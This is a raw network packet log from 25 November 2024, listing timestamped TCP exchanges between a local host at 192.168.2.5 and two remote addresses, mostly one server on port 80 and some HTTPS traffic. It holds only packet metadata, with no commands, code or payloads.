Nov 25, 2024 14:14:40.512126923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.513211966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.513345003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.513370037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.513422966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.513432980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.513436079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.513463974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.513499022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.514260054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.514272928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.514375925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.515465021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.515523911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.515753984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.515901089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.516382933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.516572952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.516643047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.516971111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.517668962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.517680883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.517834902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.518323898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.518337011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.518383026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.518394947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.518410921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.518475056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.518508911 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.518671036 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.518680096 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.518721104 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.518996000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.518997908 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.518997908 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.519006968 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.519009113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.519040108 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.519079924 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.519079924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.520030975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.520045042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.520174980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.521121979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.521224976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.521254063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.521306992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.522114038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.522223949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.522250891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.522392988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.523222923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.523292065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.523293018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.523452044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.524714947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.524727106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.524861097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.525290012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.526431084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.562782049 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.562807083 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.563110113 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.563127041 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.563544035 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.578372002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.578474998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.578540087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.578720093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.578891039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.579261065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.579344034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.579477072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.580030918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.580116987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.580590963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.580758095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.580785036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.580951929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.581165075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.581388950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.581729889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.581866026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.582856894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.582869053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.582881927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.582926989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.582993984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.583916903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.584048033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.584513903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.584599018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.585094929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.585242033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.585268974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.585370064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.586929083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.587025881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.587348938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.587507010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.587862968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.587877035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.588078022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.588964939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.589157104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.589389086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.589448929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.590126991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.590214014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.590677977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.590759993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.591233969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.591645002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.591764927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.591893911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.592258930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.592272043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.593440056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.593451977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.593532085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.593532085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.594028950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.594172001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.594602108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.594743013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.595051050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.595180035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.595206022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.595372915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.597080946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.597171068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.597359896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.597620964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.597867012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.598026037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.598026037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.598079920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.598973989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.599076033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.599239111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.599452972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.600188017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.600486994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.600522995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.600610971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.601242065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.601510048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.601840973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.602041006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.602130890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.602261066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.602583885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.602678061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.603234053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.603244066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.603310108 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.603329897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.603331089 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.603418112 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.603487015 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.603687048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.603698969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.603708982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.603754044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.603758097 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.603787899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.603883028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.603939056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.604782104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.604794979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.604832888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.604897976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.605799913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.605813026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.605865955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.605865955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.606874943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.607140064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.607223988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.607340097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.607923031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.608078003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.608110905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.608249903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.608987093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.609700918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.609863997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.610027075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.610158920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.610240936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.610326052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.611146927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.611205101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.611212015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.611494064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.620753050 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.620776892 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.620898008 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.620908022 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.621077061 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.641707897 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.641724110 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.641829014 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.641845942 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.644743919 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.710609913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.710623980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.711070061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.711081028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.711081982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.711843014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.712143898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.712157011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.712223053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.713861942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.713876009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.714255095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.717122078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.717133999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.717147112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.717158079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.717222929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.717222929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.718164921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.718175888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.718822002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.719249010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.719260931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.719345093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.719345093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.720223904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.720347881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.720412016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.721401930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.721522093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.721746922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.721879005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.722889900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.722908020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.722961903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.722961903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.723081112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.723093033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.723906040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.724049091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.724205971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.724344969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.724855900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.724908113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.724914074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.724972963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.725740910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.725841999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.725960970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.726464987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.726475954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.726989031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.727279902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.727401018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.727432966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.727520943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.728148937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.728228092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.728251934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.728327036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.729213953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.729305983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.729450941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.729881048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.730489969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.730674028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.730983019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.731187105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.731477976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.731632948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.732134104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.732455015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.732466936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.732570887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.733514071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.733527899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.733623028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.733700991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.734724998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.735007048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.757863045 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.757884026 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.758093119 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.758110046 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.758181095 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.774410963 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.774427891 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.774558067 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.774580002 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.774653912 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.779424906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.779445887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.779535055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.779535055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.779884100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.780155897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.780185938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.780540943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.780935049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.780968904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.780994892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.781038046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.782224894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.782332897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.782949924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.783230066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.783240080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.783303022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.784224033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.784410954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.784595013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.785317898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.785491943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.785636902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.785798073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.786356926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.786566973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.786593914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.787377119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.787754059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.787785053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.787899971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.788526058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.788691044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.788937092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.789299965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.789666891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.789679050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.789700985 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.789716959 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.789733887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.789870977 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.789885998 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.791268110 CET	80	49760	185.215.113.206	192.168.2.5
